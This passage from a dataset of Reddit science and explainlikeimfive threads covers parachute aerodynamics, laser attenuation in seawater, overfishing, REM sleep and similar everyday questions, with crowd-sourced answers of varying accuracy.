it creates some airflow that pushes it back. This is mostly from the air pouring out of the sides of the other parachutes. Edit: _URL_1_ Note the ports in the side of the parachute. This is the only place for air to escape, other than bending around the bottom. As far as the air escaping from the bottom goes: _URL_0_ Note the jet of air pouring out of the downwind side here (thick red line). With the three parachutes angled as they are, this is pointed toward the middle.\n\n**Tl;dr: Parachutes deflect air toward each other, pushing apart. They may also be designed to be at an angle when pulled tight.**", "Once fully inflated, the air pressure contained by each of the parachutes give a certain structure/rigidity to each chute, keeping them from collapsing when they come together (the pressure inside of each parachute will be equal, so no one parachute is more rigid/hard than another). \n\nAs far as the angles are concerned, that is just physics. they are counterbalancing each other in such way that there is enough outward \"pull\" on each one so as to avoid coming to close. The angles on the strapping (connecting it/them to the capsule) are not forced into place by anything other than this counterbalance as far as I know (the engineers will have accounted for this based off of the weight of the payload vs. the braking force generated by each parachute).\n\nAnother design feature of these re-entry/ cargo type parachutes is the very long shroud lines. When compared, the shroud lines on a Army Paratroopers parachute are much shorter(relatively). The longer shroud lines allow the steeper angle with with multiple parachutes. (Imagine, for a moment, if they were superrr short, as a hyperbole. They wouldn't be able to face downward as much, more angled, as it were.) ", "_URL_0_\nbetter vid of the parachutes opening up.  \n\n\nno idea about the wind dynamics. \nthe vid shows two chutes are lauched together first. then they launch the third parachute. \n\nafter all three are at full length, the chutes  catch wind and ooen up to its max size.", "It depends on the parachute types. Those big parachutes that you see landing the capsules for Apollo, SpaceX, Orion, etc., have a certain angle that they want to be at. This is called a \"trim angle,\" which is the angle from the vertical. It's partly because there is so much fabric compared to open spaces, but air wants to dump out of the canopy. The slots and vent opening don't give enough open spaces, so the parachute tilts to the side. How much it tilts to the side is the trim angle. There are nice curves that show stability with regards to the angle.\n\nYou don't want to make the suspension lines different lengths. That would be silly. For one, it would be obnoxious to pack. And the loads on the lines would be wildly different, which would be awful to design for. Also you wouldn't/couldn't add some kind of spacer or whatever. Each main is packed into a separate bag in its own bay. How would you have some connecting piece that goes from main to main, all the way inside the bag?\n\nFor other parachutes, like the pilots that pull out the mains, or the drogues that provide the initial deceleration and stabilization, there is a higher ratio of open space to fabric. The capsule also goes a lot faster under these parachutes, so the trim angle isn't being sought as much.\n\nIf you're really curious, you should read [Knacke's Parachute Recovery Systems Design Manual](_URL_0_).\n\nSource: I design parachutes for a living.", "It happens naturally, you're absolutely right that there is an inclination for the parachutes to go to a position where the centre of mass is below them.\n\nBut there are also aerodynamic effects that result in the parachutes staying open and keeping separate because the air they don't 'capture' (for want of a better word) rush between the gaps and push them apart.\n\n[This paper on the aerodynamic of parachute clusters](_URL_0_) has some nice pictures that show the fluid dynamics between the parachutes (pg 971).\n\nThe reason for the separation is that the air that isn't 'captured' by the parachute cluster flows between the individual parachutes before doing complex things in the low pressure region on the upper sides of the canopies. The net affect is the individual parachutes stay apart.\n\nYou're absolutely right to think the parachutes should collapse to the middle with the centre of mass below them - but thats only considering from a statics pov.  \n\nThe aerodynamic affects of the air flow between the parachutes and into the low pressure regions above the canopies as well as the interaction of the vortices that result over come that 'statics problem'\n\n", "Actually they do crash into each other. Particularly after opening (or disreefing as referred to in parachute lingo) the parachutes fly out and then come back in and crash together. \n\nParachute contact is undesirable because 1) it adds to the risk of canopy deflation 2) the descent speed increases when the parachutes contact as the aerodynamic frontal area of the system is reduced. \n\nIn order to help the system stability you can see spacex and Apollo and even Orion have missing panels in the canopy. The holes slightly increase the descent rate but greatly increase stability. \n\nSource: Masters thesis on thr Orion parachute system. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=1_FXVjf46T8", "https://youtu.be/zq7LgVX-Jdk?t=1m3s"], "answers_urls": [["http://www.tafsm.org/PROJ/AS/MDCM/stream_para.gif", "http://www.nasa.gov/sites/default/files/images/640234main_jsc2012e041631_full.jpg"], [], ["https://youtu.be/zq7LgVX-Jdk"], ["http://smile.amazon.com/Parachute-Recovery-Systems-Design-Manual/dp/0915516853/ref=sr_1_1?ie=UTF8&amp;qid=1450795438&amp;sr=8-1&amp;keywords=knacke+parachute"], ["https://books.google.co.uk/books?id=Id06Z4YMJLMC&amp;pg=PA968&amp;dq#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "b9r5i9", "title": "the difference between laws, statutes, and ordinances in the usa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b9r5i9/eli5_the_difference_between_laws_statutes_and/", "answers": {"a_id": ["ek6ap7u"], "score": [13], "text": ["Statutes and ordinances are laws. Statutes are promulgated by the federal and state government. Ordinances are promulgated by counties and cities. \n\nStatutes will apply in the whole state or country (if federal). Ordinances will only apply in the particular city or county where they are passed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "33vu2u", "title": "why is it easy to sing the melody of a song but hard to sing the underlying harmonies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33vu2u/eli5_why_is_it_easy_to_sing_the_melody_of_a_song/", "answers": {"a_id": ["cqoueda", "cqov12h"], "score": [10, 4], "text": ["Because you've learned to pay attention to the melody better than the harmonies. For the next week, concentrate on listening to (and singing / humming along with) only the harmonies. After a week, you'll be like \"holy shitballs... I am a musical genius!\"", "It isn't intrinsically any easier or harder, it's just what you learn (or learn to hear).  Once you've sung in a choir, it's generally easier to sing alto or bass than the melody anyway, so you start to do so.\n\nAnd finally, it's easier if you grow up in a Lutheran church, 'cuz they ALWAYS sing EVERY verse of every hymn -- you learn the alternate parts pretty much by osmosis :-) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "310eks", "title": "How powerful would a laser need to be to reach the bottom of the ocean?", "selftext": "You're in a submersible at the bottom of the marianas trench, a ship above you with a hypothetical laser pointed to the ground in front of you. How strong does this laser need to be to look like a normal laser dot? \n\nAlternatively; You have a hypothetical laser at the bottom of the ocean, how strong does it need to be to reach space?\n\nEdit: WOAH! This blew up more than I'd expected. Thanks everyone for the anwsers and great discussion ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/310eks/how_powerful_would_a_laser_need_to_be_to_reach/", "answers": {"a_id": ["cpxhvfu", "cpxi5zg", "cpxiz16", "cpxj20q", "cpxlo8c", "cpxmrst", "cpxo8jp", "cpxtd3l", "cpy6cda"], "score": [794, 9, 90, 31, 9, 8, 10, 6, 13], "text": ["Ok so. Seawater absorption is complicated and depends on lots of things (contents of water, wavelength, etc). There's a paper that suggests about 7% per meter under relatively ideal conditions.\n\nSo multiplying that over the depth of the Mariana trench, you come out with loss such that to get 5 mW of power to the bottom of the trench, you need 1.5 x 10^344 W of power at the surface. Which is too much. I haven't done the math to see just how much of the ocean you'd be vaporizing at that point.\n\nEDIT: By \"too much\" I really meant \"more than all the power.\" That amount of power is many many many multiples of the sun's power. It's more than all the possible power.\n\nEDIT 2: Please look below for other calculations based on different coefficients of absorption. It makes a huge difference... but only in the sense that the answers range from \"more power than the universe is equivalent to\" to \"only a few hundred times more than the luminous intensity of the entire galaxy\". So in a practical sense the answers are the same, though they are wildly different.\n\nEDIT 3: I've gotten some messages about coefficients of absorption. Basically different parts of the ocean absorb water differently. The coefficient of absorption of seawater ranges from about 0.013 to... whatever you want it to be, really. The wavelength matters a whole lot. The 7%/meter answer I got was an average based on white light in real-world pelagic seawater. With real-world seawater your answer ranges from roughly 10^60 watts to 10^350 watts for lasers of optimum sea-water penetration. Get out of that wavelength and the power skyrockets. EVEN SO. Whether you're talking about 10^60 or 10^147 or even a fraction of that... you're talking about unimaginable amounts of power. Power such that the universe cannot supply.\n\nIf you want to try it yourself, x=e^(ad) is a supersimplified version of the equation (Lambert's), where x is the input power, a is the coefficient of absorption and d is the depth in meters. That'll give you the number of input units needed to get one output unit. [This paper](_URL_0_) has a bunch of science and a table on the absorption rates.", "Not a brilliant guy here but what if you had said laser that had enough power?\nIf it's vaporizing water, what rate would the water be dissipating? Wouldn't the water yet to turn to steam? ( If it even turns to steam { if not what does it do?})\nAnd the water that hasn't evaporated yet wouldn't it be super heated closest to the laser beam? What would happen next?\n", "[Optical absorption coefficient of seawater](_URL_1_) in ideal conditions is 0.009 inverse meters for 473nm wavelength (blue) light.\n\nThe [depth of the Mariana Trench](_URL_0_) is 11,000 meters.\n\nAssuming a collimated beam with no scattering losses (a big assumption) then the loss due to attenuation will follow [Beer-Lambert's Law](_URL_2_). Which is I(d)=I(0)*exp(-alpha x d)\n\nA blue laser would need to be 10^40 Watts to have 1mW remaining at the bottom of the trench.\n\n\n", "This isn't going to work very well.\n\nThere is no photosynthesis below about 200m even with algae using special pigments tuned to the wavelengths that penetrate best (blues and greens). Below that it is rapidly gets rather dark.\n\nThe attenuation coefficient for very clear seawater under blue-green light is [about 2%](_URL_0_). That is, for every meter of seawater an optimized laser is going to lose 2% of its power. \n\nAt a depth of 1km your beam will need to be about 485 million times stronger to produce the same brightness of spot. If you want something as bright as a 50 milliwatt laser then naively you're going to need a 24 megawatt monster.\n\nYou will also likely light up a huge area of the ocean floor due to beam dispersion and not just one spot, and start ionizing and violently boiling seawater which is probably going to produce an opaque wall of steam and plasma which will stop the beam.\n\nThe only good news is that all of our nuclear submarines are all likely to survive the initial alien attack. Unless you can boil the whole ocean it's effectively a laser-proof barrier.", "Something is off on everyone's math. If you focused just all the light from the sun into a single beam an inch in diameter, you could cut through the entire planet, maybe several planets. But make a laser just to go through the ocean, and there isn't enough energy in the entire universe? Really guys? Really?", "I'm going to take a slightly different take on the problem, to make it just a bit more practical. Say all you needed was a single photon to hit a detector at the bottom of a trench to count as a \"dot\". We'll give it a time interval of 1 second to guarantee that it hits it. I'll follow /u/foretopsail's figure of 7% efficiency per meter for reference.\n\nSo if we need 1 photon to reach the bottom, and marianna trench is 10,994 m deep, then we solve \"x^0.07 = 10,994\" for x, where x is the initial number of photons, and find that x = 5.4*10^57 photons. Yikes.\n\nAccording to this [site](_URL_0_), the number of photons emitted by the sun is 10^45 photons per second. Assuming all the stars (400 billion of them) in the milky way have roughly the same output (emphasis on roughly), then the entire milky way emits 10^56 photons per second, which is one and a half orders of magnitude below the required figure. \n\nWith Andromeda and the milky way combined though, into a laser, and all the light emitted by the black holes, a single photon will reach the bottom of the Mariana trench, every second :)  \n", "It was a long time ago but I built a front end for an airborne ocean depth measuring device, it used a 200W pulsed IR laser diode, the beam was split and one half went to a frequency doubler, so it emitted an IR and green pulse simultaneously. This was reflected off a rotating mirror and spat out the bottom of an aircraft so it would track side to side and map a strip of ocean.\nThe IR bounced off the surface and the green off the ocean floor.\nDifference between arrival times is the ocean depth.\nIt had a max depth of something like a mile from memory. I never saw the resulting data.\n", "Pulsed laser. You pulse enough energy to vaporize an amount of water, this water pushes the rest of the water out of the way. Your pulse laser does this hundreds of times per second, exploding the water out of the way all the way down to your hypothetical sub. On the bonus side, your hypothetical sub is now the recipient of the effects of multiple explosive pressure waves.", "The power of the laser doesn't matter as much as the density. After throwing it overboard, the laser should reach the bottom in about four hours if it has the same density and shape as a [7 kg bowling ball](_URL_0_). Once it reaches the bottom, the laser should appear about as bright as it did at the surface (assuming it hasn't been crushed by the pressure, of course)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.iopan.gda.pl/oceanologia/434Comm1.pdf"], [], ["http://geology.com/records/deepest-part-of-the-ocean.shtml", "http://books.google.com/books?id=C5kRs1z_CYoC&amp;pg=PA6#v=onepage&amp;q&amp;f=false", "http://en.wikipedia.org/wiki/Beer%E2%80%93Lambert_law"], ["http://www.britannica.com/EBchecked/topic/531121/seawater/301669/Optical-properties"], [], ["https://harveyjohnson.wordpress.com/2013/03/26/the-number-of-photons-ejected-from-the-sun-in-a-second/"], [], [], ["https://what-if.xkcd.com/125/"]]}
{"q_id": "20wzr1", "title": "What do omega-3 DHA, EPA, ALA do for our brains? Do they act as components of certain brain cells?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/20wzr1/what_do_omega3_dha_epa_ala_do_for_our_brains_do/", "answers": {"a_id": ["cg7nncv", "cgavuvz"], "score": [4, 2], "text": ["All cells require fatty acids to modulate membrane structures for a variety of cellular processes, namely, endocytosis. Neurons are particularly susceptible to perturbation in these processes, because of their extreme morphology, and while the exact mechanism is unknown, it is presumed that supplementing with essential fatty acids prevents shortages or abnormalities in fatty acid synthesis, and allows cells to function normally. ", "So DHA, EPA and ALA are all essential fatty acids, meaning they are nutrients that we need to obtain from our diet because we don't have the appropriate enzymes to make them. Fatty acids are crucial to our bodies because the membranes that envelope all cells are made up of these fatty acids linked together into lipid molecules of all different kinds. DHA, in particular, has been reported to make up as much as 50% of the membrane around a neuron is made up of DHA! That membrane is constantly being turned over as the cell changes and repairs itself. The consumption of essential fatty acids is critical during development, but still important after maturity. However, this proportion can vary if your diet lacks essential fatty acids.\n\nFatty acids, besides making up the membrane that holds neurons together, also is important for signaling (lipid rafts, as mentioned before) and is used to make endogenous neurotransmitters that activate the cannabinoid receptors.\n\nOne report I found says that serotonergic and catecholaminergic (dopamine, norepinephrine) cells may be particularly affected by a lack of the essential fatty acids in neurons. This citation is the second one linked below.\n\ncitations: _URL_1_\n\n_URL_0_\n\n*edit for clarity and accuracy"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://europepmc.org/abstract/MED/12728744/reload=0;jsessionid=NNPY1gSOglPgnfVCpo7w.12", "http://medind.nic.in/icb/t05/i3/icbt05i3p239.pdf"]]}
{"q_id": "drsl2i", "title": "if you can\u2019t properly hear your own voice unless it\u2019s recorded, how do impressionists impersonate others", "selftext": "I don\u2019t understand how it\u2019s possible to impersonate someone\u2019s voice if what you say sounds different to other people than it does to yourself.  Do they alter it so it sounds a little off to themselves but not others? Do they hear themselves perfectly?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/drsl2i/eli5_if_you_cant_properly_hear_your_own_voice/", "answers": {"a_id": ["f6ktxx1", "f6l9hhh", "f6lccpo"], "score": [8, 2, 3], "text": ["A) Most voice impressionists don't get like a *perfect* impression such that if you heard the voice over the phone you could actually trick someone. It just gets close enough to where audiences can enjoy it.\n\nB) Impressionists probably try many different attempts at impression and solicit audiences' or other impressionists' advice to see which attempt was closest. Surely you've done an impression just with your friends and a friend has told you one of them was actually really good. Same thing.", "They're not imitating the exact sound, rather the cadence, tempo, annunciation, ect. \n\nIts similar to timbre in music. IE: An oboe playing a melody compared to a clarinet playing the same melody will sound \"the same\" but also different", "I know I've heard Bill Hader and others who do impressions talk about finding a \"hook\" when doing impressions.  Something that evokes the person being impersonated so much that even if the rest of the impression isn't that close, people recognize the impression."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "e75cov", "title": "why do restaurants/retailers exclude alaska and hawaii from deals?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e75cov/eli5_why_do_restaurantsretailers_exclude_alaska/", "answers": {"a_id": ["f9vgzbh", "f9vhdwh", "f9vhkui", "f9vidma"], "score": [16, 2, 7, 4], "text": ["Because it costs more to do business in Alaska and Hawaii than it does in the other 48 states. Shipping ground beef to Honolulu costs more than trucking it to jersey so the extreme locations need to charge more.", "These exclusive deals are offered because the chain got a good deal on product X... some bulk discount from the manufacturer in exchange for some premiere billing, special displays at front of store etc. Or the retailer gets a special exclusive for a few days. However, the retailer may still only make money on that discounted product if the cost to ship them from their own warehouses to retail locations is low enough. \n\nIn the CONUS (continental US), shipping is by truck or train, so _relatively_ inexpensive. But shipping to Alaska and Hawaii is a deliberate thing. Either you've planned a month or two ahead and already have a container of Special Product X already en-route in time for the promotion (which is $$... if its even possible - remember, the promotion could be a launch day thing or..), OR you air freight it which is $$$ and that just blows your margins on product X entirely. \n\nSo special product X takes the slow boat to Alaska and Hawaii which means special product X promotion on launch day (or whatever) doesn't happen in those states.\n\nObviously, if the manufacturer can drop-ship product directly to the individual retail locations, that's great. But that sometimes only makes sense if each retail location's demand can fill an entire air cargo container or 20/40' shipping container, which, depending on the product, isn't likely to be sold in those volumes.", "It comes down to logistics. The shipping infrastructure in the continental US is pretty efficient. To get to Hawaii, you have to fly, or use a cargo ship. \n\nTo get to Alaska, you have to cross through Canadian territory. The duty and paperwork alone makes certain deals unfeasable.", "Because shipping food and other goods to those locations is expensive and they can't afford to give good deals to those locations or the company would quickly go bust."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "me3ql", "title": "Are we only one scientific discover away from proving that the mind is simply the organization of chemicals and molecules in the brain that facilitate the body's need to survive?", "selftext": "In philosophy class today we began our section of philosophy of the mind. The conscious if you will. My instructor stated that for materialist the mind is nothing more than the brain projecting your existence via chemical and electrical synapses. He also stated that for theist, the mind is simply hardware, and god steps in and delivers your existence. That you gain consciousness at a young age because your mind is ready for the 'link'. And that the link is terminated when your brain dies and you go to 'heaven'. Would it be true in thinking that science could one day squash all religion thinking by the discovery that the 'mind' or conscious is nothing but advanced evolution that brought about the most secure way of protection of the species. What does /r/askscience think?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/me3ql/are_we_only_one_scientific_discover_away_from/", "answers": {"a_id": ["c3067k2", "c3067k2"], "score": [5, 5], "text": ["Actually your professor is wrong.  Depending on which belief system the Theist follows the mind, brain and body are perceived differently.  For one the Jehovah Witnesses feel that the soul is a ting of god and the body is totally separate.  And when you die you stay dead, in the ground, waiting to be raised again by Christ.  You get to live on Earth in the Kingdom after the final battle.  You don\u2019t get into Heaven because you are not part of the number that does get into heaven.  But you do get to live on earth in your old body without disease or aging.\n\nThe concept of a binary perspective on the topic of mind and consciousness is rather na\u00efve and narrow.\n\nHowever, your \u201cwouldn\u2019t it be cool\u201d has pretty much already been proven.  The only evidence for the existence of our mind is our physical brain.  There is no evidence of anything paranormal or other worldly about our consciousness.  There is evidence for our thoughts being nothing more than electrical and chemical processes in the brain. So far all evidence points to the materialist philosophy being the correct one.\n", "Actually your professor is wrong.  Depending on which belief system the Theist follows the mind, brain and body are perceived differently.  For one the Jehovah Witnesses feel that the soul is a ting of god and the body is totally separate.  And when you die you stay dead, in the ground, waiting to be raised again by Christ.  You get to live on Earth in the Kingdom after the final battle.  You don\u2019t get into Heaven because you are not part of the number that does get into heaven.  But you do get to live on earth in your old body without disease or aging.\n\nThe concept of a binary perspective on the topic of mind and consciousness is rather na\u00efve and narrow.\n\nHowever, your \u201cwouldn\u2019t it be cool\u201d has pretty much already been proven.  The only evidence for the existence of our mind is our physical brain.  There is no evidence of anything paranormal or other worldly about our consciousness.  There is evidence for our thoughts being nothing more than electrical and chemical processes in the brain. So far all evidence points to the materialist philosophy being the correct one.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qbhoq", "title": "Are we past peak fish/seafood?", "selftext": "With reports of dwindling fish stocks, especially cod in my native Quebec.\n\nMy question is, are we past peak seafood? Are we really going to run out of seafood and fish in the coming decades?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qbhoq/are_we_past_peak_fishseafood/", "answers": {"a_id": ["c3waczd"], "score": [56], "text": [" > My question is, are we past peak seafood? Are we really going to run out of seafood and fish in the coming decades?\n\nFish are renewable resource so long as we don't take more then they be can replenish - in the same way trees are renewable resource so long as we plant new ones once we chop the old ones down. Currently for many fish stocks we are harvesting and consuming them at unsustainable rates - which means we potentially and likely will run out of certain fish species. (Example: [Blue Fin Tuna](_URL_5_) which are [endangered](_URL_13_) ([even though internationally they wont classify them as such](_URL_8_) despite [substantial research that shows that they are](_URL_4_)). They are projected to become extinct within the next year due to overfishing. We aren't letting enough fish live in order for certain species to reproduce. (i.e. we are cutting down trees without planting new ones) The problem with fish is that the older a fish gets the more fecund it is (the more offspring it produces) but we also like to consume these fish because they are the big meaty ones. We are essentially consuming the part of the life cycle that is most important to insure the continued reproduction of a fish species. If we catch all the old fish, then what tends to happen are there are not enough baby fish being born. The funny thing is with some fish species need a certain population density to breed. Meaning, they need some amount of breeding adults to produce enough eggs and sperm so that the densities are high enough that they actually get fertilized. If we mess up stocks enough, they never recover, because they are below the threshold of recovery...case in point our [Atlantic Cod](_URL_15_) (I am Canadian too and it is sad that this stock is likely never to recover)\n\n[We are really messing up the oceans.](_URL_18_). No amount of new technology will allow us to extract more from the already over exploited populations. In many ways we have hit our peak extraction rate - basically we are maxing out on what we can take out of the oceans. Our technology allows us to eliminate entire populations of a fish species in a matter of days or months. Moreover, reducing fish population levels actually changes the structure of the food web - species like lobster, crab and jelly fish are increasing in numbers filling in the gaps left behind by reduced fish stocks. This is a double hit 1. It makes it harder for fish stocks to recover because the niches have been filled by other species. and 2. It makes it seem like its boom time for the lobster and crabbing industries... when really we should be extra cautious about not overexploiting them in the same way. Although to be fair, the lobster and crab industry are well regulated, trapping techniques are not as exploitative as other fishing techniques and the nature of lobster traps allows for large (more fecund) individuals to be excluded. Meaning unlike fishing, you can target age-sex classes. [We are fishing down the food web and destroying it in the process](_URL_12_).\n\nIts not all doom and gloom though: Of the stocks that are doing well its usually because they are too far out (meaning that the energy required to catch them - time to go out, time to pay fisherman, gas which all add up to $) is less then what you get when you sell them at market. To make up for this loss many governments subsidize the fishing industry, meaning they pay fisherman to go out an fish even if it costs more then its worth. Sometimes stocks are doing well because they are being protected and regulated. But this is often not enough to ensure that the species is not overexploited the oceans are an interconnected ecosystem. Its not like land, where there are more or less separate areas. What happens in one end of the Atlantic effects the southern end, one side of the Pacific the other. So that if stalks in general are declining the very fabric of the food web is weakening, if we reduce species to levels that are practically extinct for all intents and purposes this will negatively effect our \"good\" stocks.\n\nMoreover, policies put into place to day to protect fish stocks are ineffective, and we are deluding ourselves if we think otherwise. Laws and quotas that one country sets may not be the same laws and quotas that another sets - yet the fish migrate throughout both regions and are being hit twice as hard. Some examples of regulatory processes include:\n\n1. Marine protected areas: are usually areas where they are of little value. [Sometimes they are put in areas where fish breed and this protects fish breeding habitat, and allow for the trageted fish stocks to recover and even 'spill over' into unprotected areas.](_URL_2_) But more often then not there is a very large list of other things that you can extract by various means from that place. The protection offered by an MPA is only effective if the list of things you can extract isn't too long (preferably none) and only if this is enforced by law. Here is a list of global mpas, they represent under 5% of the total world ocean surface. Moreover only a fraction of these are 100% no take zones, usually some sort of fishing or trapping can take place. This does not help the majority of fish species that are migratory. As soon as they leave these protected areas they are allowed to be caught.\n\n2. Max sustainable Yeild (MSY): fancy language for saying how much fish you should catch based on how big a stock is, how many fish are in each age-sex class (infant, juvenile, adult, old adult) and still make it sustainable. The biggest problem here is that there are hundreds of ways to calculate MSY and few of them actually agree with each other and most do not take into account that other predators in the sea (sharks, other fish) need to eat too. Moreover, calculating (estimating) how many fish are in each age-sex class correctly can be a nightmare - if you don't get the actually population numbers right how do you know how many you can fish?. Different countries set different limits, there is little agreeance. We also tend to think extracting 50-80% of a prey species (like fish) is sustainable, when in nature predators never exceed 20% of their prey stock, and usually they sit around 5-10%. So we are acting like 'super predators' and this is not sustainable. MSY and other calculations have proved questionable in the past, it is not a reliable way to fish sustainably.\n\n3. Nobody is policing the oceans. So if I wanted to go out and fish the crap out of an endangered species I would have (relatively) no problem doing so. A good case: [ban on whaling](_URL_0_). Bad case: illegal whaling still continues.\n\nHow do we fix this problem?\n\n1. Stop trawling\n\n2. Stop using technology that takes fish at faster rates then they can reproduce\n\n3. Ban and enforce fishing moratoriums on endangered fish species like the blue fin tuna. Enough is enough they are nearly gone already.\n\n4. Create and enforce larger MPA areas that are 100% no take zones.\n\n5. [Stop the bombing of coral reefs for the exotic aquaria pet trade](_URL_16_))\n\n6. Reverse global warming to reduce stresses on coral reefs from increased CO2 (acidity) and temperatures.\n\n7. Stop large scale agricultural fertilizers from running off into the ocean and creating [dead zones](_URL_10_)\n\n**Sources**\n\n[WWF overfishing](_URL_7_)\n\n[Greenpeace overfishing](_URL_6_)\n\n[Canada Gov on overfishing](_URL_9_)\n\n[Wiki overexploitation](_URL_1_), [Max sustainable yeild](_URL_11_)...\n\n**Movies**\n\n[End of the line](_URL_3_)\n\n[Sharkwater](_URL_17_): Warning graphic images of shark deaths.\n\n**Books**\n\n[Unnatural history of the sea](_URL_14_)\n\nEdit: You may also want to look up the meaning of 'commercially extinct (atlantic cod)' and 'extinct in the wild' - both are different things but both have serious implications for the oceans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://iwcoffice.org/", "http://en.wikipedia.org/wiki/Overexploitation", "http://www.geog.ubc.ca/biodiversity/MarineProtectedAreas.html", "http://topdocumentaryfilms.com/end-of-line-world-without-fish/", "http://www.ethicurean.com/2011/05/21/canada-bluefin-tuna/", "http://wwf.panda.org/what_we_do/footprint/smart_fishing/target_fisheries/tuna_2/index.cfm", "http://www.greenpeace.org/international/en/campaigns/oceans/overfishing/", "http://wwf.panda.org/about_our_earth/blue_planet/problems/problems_fishing/", "http://www.scientificamerican.com/article.cfm?id=bluefin-tuna-stocks-threatened-cites-japan-monaco", "http://www.dfo-mpo.gc.ca/international/isu-global-eng.htm", "http://en.wikipedia.org/wiki/Dead_zone_(ecology)", "http://en.wikipedia.org/wiki/Maximum_sustainable_yield", "http://en.wikipedia.org/wiki/Fishing_down_the_food_web", "http://www.huffingtonpost.com/2011/08/12/bluefin-tuna-extinction_n_924957.html", "http://www.amazon.ca/Unnatural-History-Sea-Callum-Roberts/dp/1597261025", "http://en.wikipedia.org/wiki/Atlantic_cod", "http://en.wikipedia.org/wiki/Blast_fishing", "http://topdocumentaryfilms.com/sharkwater/", "http://en.wikipedia.org/wiki/Overfishing"]]}
{"q_id": "apg48a", "title": "is missing rem sleep bad for my health?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/apg48a/eli5_is_missing_rem_sleep_bad_for_my_health/", "answers": {"a_id": ["eg81dif", "eg85l6u", "eg8hes3", "eg8jodc", "eg8lptd", "eg8op7i", "eg8rsmi"], "score": [12, 22, 2, 14, 10, 2, 2], "text": ["I believe the consensus is that REM sleep is when the brain absorbs or processes all its input of that day. I know that in psych studies lack of sleep does contribute to irritability, anxiousness, becoming scattered minded, and in extreme circumstances death. ", "If you have dreams, the kind while you are sleeping not aspirations for future greatness, you are experiencing REM sleep.", "I know I dreamt last night... But I still felt exhausted when I woke up, and this was after I down .5 of kief", "Not sure about marijuana but this fact sound relevant:\nI read the you get 6 cycles of nREM and REM sleep in a normal night, but the first ones have much more nREM than REM and it gradually shifts to more REM than nREM.\nSo say you\u2019re sleeping 8 hours but something woke you up at 6 hours, you didn\u2019t lose 25% of REM, you lost around 33%.\nSo i guess if you\u2019re worried about the effect of marijuana in REM get as much sleep as possible.", "Joe Rogan had a sleep specialist on once, and he sort of answered this question: [_URL_0_](_URL_0_)", "In my anecdotal experience, the REM sleep seems to take place later in the night.  I don't know if MMJ is supposed to inhibit REM while actively high, or if it's just when it's in your system, but my guess is as it wears off, so does the impact on your sleep.\n\n & #x200B;\n\nMMJ helps many go to sleep easier, so it's possible that it does impact your sleep, but that your body gets the REM sleep later in the night to make up for the loss while still actively high upon going to sleep.", "Rem happens with cannibas use.   Just the remembering of the dreams are a bit more fleeting. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=yNxk8W10wtY"], [], []]}
{"q_id": "tq5wk", "title": "If a person was in a completely germ/virus-free environment and had all of their white blood cells removed, could they or how long would they survive? ", "selftext": "null", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tq5wk/if_a_person_was_in_a_completely_germvirusfree/", "answers": {"a_id": ["c4ot8pj"], "score": [5], "text": ["Just some terms, first: a \"germ\" is typically not just any microorganism, but a microorganism that causes disease. My answer assumes that this is what you mean when you say \"germ\" and that these people would have normal flora.\n\nExtrapolating from mice, you'd probably be OK for a while. NSG mice lack T  &  B cells (the adaptive arm of the immune system), and has had the rest of the immune system at least severely crippled if not removed entirely. \n\nNSG's live normal mouse lifespans (18-24 months), but these guys have some genetic modifications in place to prevent tumor formation, so they are kind of cheating. Take those away, and they'd probably get cancer and die at roughly 8-10 months."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3x688n", "title": "how was new york cleaned up after 9/11?", "selftext": "I don't want this to come across as insensitive, but how did it really happen?\n\n \nYou don't exactly have teams specialised to clean up something on such a large scale. How were the rest of the buildings demolished? How long did it take? When did that part of New York start operating again such as the opening of shops? Are there any pictures of the clean up? I was very young when this happened, I can remember the day but not the aftermath.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x688n/eli5_how_was_new_york_cleaned_up_after_911/", "answers": {"a_id": ["cy1wim0", "cy1wmms", "cy21y9b", "cy2gefk"], "score": [47, 29, 13, 3], "text": ["We actually do have teams specialized to clean up large scale disasters. They are called the National Guard. \n\nThere are also many specialized civilian groups that deal with building demolition and companies that deal with construction clean-up. ", "_URL_0_ This wikipedia gives a big version of it, but basically they blocked off most of lower Manhattan except for personnel and worked tirelessly. A lot of steel was recycled, which is interesting, and work on clean-up and reconstruction started as early as the 12th. Unfortunately in the rush some mistakes were made and people actually got ill from the clean-up.", "Ground zero itself was cleaned up by the hard work of many many men and women from FDNY, NYPD, other local departments, FEMA, Army Corp of Engineers, OSHA, and the national guard among others. A lot of members of FDNY went to work then after work went to ground zero and worked strait through to their next shift for days on end. They used everything from large scale industrial equipment to shovels and buckets. \n\nA large percentage of the people that had long lasting health problems from 9/11 got those illnesses from returning to ground zero day in and day out to help rescue trapped people, return bodies to loved ones, and clean up the city despite not having proper protection from all the harmful chemicals and particles in the air. It was one of the largest joint responses and clean up efforts in our nations history, right up there with hurricane 